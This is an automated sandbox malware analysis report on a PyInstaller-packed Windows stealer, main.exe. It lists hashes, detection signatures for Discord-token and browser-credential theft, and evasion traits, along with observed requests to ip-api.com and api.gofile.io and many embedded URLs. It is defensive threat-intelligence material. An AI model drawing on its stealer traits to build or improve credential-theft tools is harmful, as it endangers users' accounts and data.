Windows Analysis Report
main.exe

Overview

General Information

Sample name: main.exe
Analysis ID: 1579350
MD5: c0e4c8f676e781c9dd3d57ffa4f99111
SHA1: 94a6f60949f38da538b5227722698dd880961bb2
SHA256: 9c08a9aca45b1a4e36e0dc907eebead439bff5b2048b1f2248afa4f88520812d
Tags: exeuser-JaffaCakes118
Infos:

Detection

Python Stealer, Discord Token Stealer, PRYSMAX STEALER
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Discord Token Stealer
Yara detected PRYSMAX STEALER
Yara detected Telegram RAT
Found pyInstaller with non standard icon
Tries to harvest and steal browser information (history, passwords, etc)
Yara detected Generic Python Stealer
Binary contains a suspicious time stamp
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May check the online IP address of the machine
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Usage Of Web Request Commands And Cmdlets
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: main.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: main.exe ReversingLabs: Detection: 15%
Source: main.exe Virustotal: Detection: 23% Perma Link
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info\LICENSE.txt Jump to behavior
Source: main.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: main.exe, 00000000.00000003.1753253644.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: bossl-modules\legacy.pdb0 source: main.exe, 00000000.00000002.2031067300.0000024BCD638000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2015446644.000001E891469000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: bossl-modules\legacy.pdb source: main.exe, 00000000.00000002.2031067300.0000024BCD638000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2015446644.000001E891469000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: main.exe, 00000000.00000003.1753127586.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: main.exe, 00000000.00000003.1753127586.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\python3.pdb source: main.exe, 00000002.00000002.2015409411.000001E891430000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: main.exe, 00000000.00000003.1753253644.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733398840 FindFirstFileExW,FindClose, 0_2_00007FF733398840
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733397800 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF733397800
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B2AE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF7333B2AE4
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 45.112.123.126 45.112.123.126
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /servers HTTP/1.1Accept-Encoding: identityHost: api.gofile.ioUser-Agent: Python-urllib/3.11Connection: close
Source: global traffic HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflate, br, zstdAccept: */*Connection: keep-alive
Source: global traffic HTTP traffic detected: GET /json/8.46.123.189?fields=192511 HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.32.3Accept-Encoding: gzip, deflate, br, zstdAccept: */*Connection: keep-alive
Source: global traffic DNS traffic detected: DNS query: api.gofile.io
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: main.exe, 00000002.00000002.2026739710.000001E895170000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.../back.jpeg
Source: main.exe, 00000002.00000002.2026149433.000001E894D70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://aka.ms/vcpython27
Source: main.exe, 00000002.00000002.2026149433.000001E894D70000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://aka.ms/vcpython27Pw
Source: main.exe, 00000002.00000003.2003283799.000001E893A4E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025233362.000001E894ABD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005040977.000001E893A57000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1999083048.000001E894B30000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1997906839.000001E894A82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976534572.000001E894A92000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2003795429.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1994075095.000001E894B9C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1996121577.000001E894BD2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005756876.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1995247587.000001E894B2C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981923054.000001E894ABA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025577227.000001E894BD5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1998028650.000001E894BD5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993380178.000001E894ABB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004907277.000001E8947DB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006444585.000001E894BB5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986551166.000001E894BCF000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006977893.000001E8947E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1999790969.000001E893AD7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1977713618.000001E893961000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1999164014.000001E893C42000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2009804647.000001E893C42000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978592500.000001E893A5B000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975055524.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986869706.000001E893C41000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981303330.000001E893A9B000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1997398066.000001E893A9D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973010642.000001E893C02000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004470843.000001E893C42000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1796496956.000001E893A63000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787561207.000001E893969000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979378962.000001E893A63000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1985312347.000001E89397C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1986060081.000001E893A9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: main.exe, 00000002.00000003.1787126840.000001E893A11000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787126840.000001E893A73000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787956610.000001E893A73000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1996080402.000001E8939A3000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980653418.000001E893998000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976495976.000001E89398C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787354247.000001E893A43000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://code.activestate.com/recipes/577916/
Source: main.exe, 00000002.00000003.1976823794.000001E8947EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984378367.000001E8949FB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971942361.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984162933.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1989712594.000001E8947EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: main.exe, 00000002.00000002.2016672801.000001E893301000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1988214568.000001E8945FE000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2000314344.000001E893301000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1979172811.000001E8945FA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972460986.000001E8945F6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2009080620.000001E893301000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: main.exe, 00000002.00000003.1994749135.000001E8938F4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2014252012.000001E893905000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2019046082.000001E89390D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1982186275.000001E893A5C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1978592500.000001E893A5B000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2011637912.000001E893A60000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2020289287.000001E893A60000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1995854538.000001E893A5D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlO
Source: main.exe, 00000002.00000003.1976823794.000001E8947EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984378367.000001E8949FB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1971942361.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1984162933.000001E8949D7000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1989712594.000001E8947EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: main.exe, 00000002.00000003.1976823794.000001E8947EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1989712594.000001E8947EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlHL
Source: main.exe, 00000002.00000003.1994749135.000001E8938F4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2014252012.000001E893905000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2019046082.000001E89390D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: main.exe, 00000002.00000003.2001802176.000001E894710000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973551416.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976302124.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005186988.000001E894727000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: main.exe, 00000002.00000003.1994749135.000001E8938F4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2014252012.000001E893905000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2019046082.000001E89390D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/SGCA.crl0t
Source: main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: main.exe, 00000002.00000003.2001802176.000001E894710000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973551416.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976302124.000001E894703000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005186988.000001E894727000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: main.exe, 00000002.00000003.1994749135.000001E8938F4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2014252012.000001E893905000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2019046082.000001E89390D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: main.exe, 00000002.00000003.1979172811.000001E8945FA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972460986.000001E8945F6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: main.exe, 00000002.00000003.1994749135.000001E8938F4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2014252012.000001E893905000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2019046082.000001E89390D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004789935.000001E8938FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0b
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754483691.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754333997.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000000.00000003.1754059092.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: main.exe, 00000002.00000003.2003283799.000001E893A4E000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005040977.000001E893A57000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973010642.000001E893A4D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2003795429.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1994075095.000001E894B9C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005756876.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006444585.000001E894BB5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1982536657.000001E893A4E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf
Source: main.exe, 00000002.00000003.1997906839.000001E894A82000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972023696.000001E8947B2000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2004907277.000001E8947DB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006977893.000001E8947E4000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2024203636.000001E8947E5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf
Source: main.exe, 00000002.00000002.2025233362.000001E894ABD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976534572.000001E894A92000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1981923054.000001E894ABA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993380178.000001E894ABB000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025105777.000001E894A56000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973472828.000001E894A88000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980229397.000001E894A53000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
Source: main.exe, 00000002.00000003.1976534572.000001E894A92000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1980318164.000001E894A46000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005241333.000001E894B14000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2003795429.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1994075095.000001E894B9C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2012511330.000001E894A99000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005756876.000001E894B9F000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2006444585.000001E894BB5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025190061.000001E894A9C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2005844026.000001E894B17000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1993380178.000001E894AB6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2025066924.000001E894A49000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1973472828.000001E894A88000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1972587068.000001E894A80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
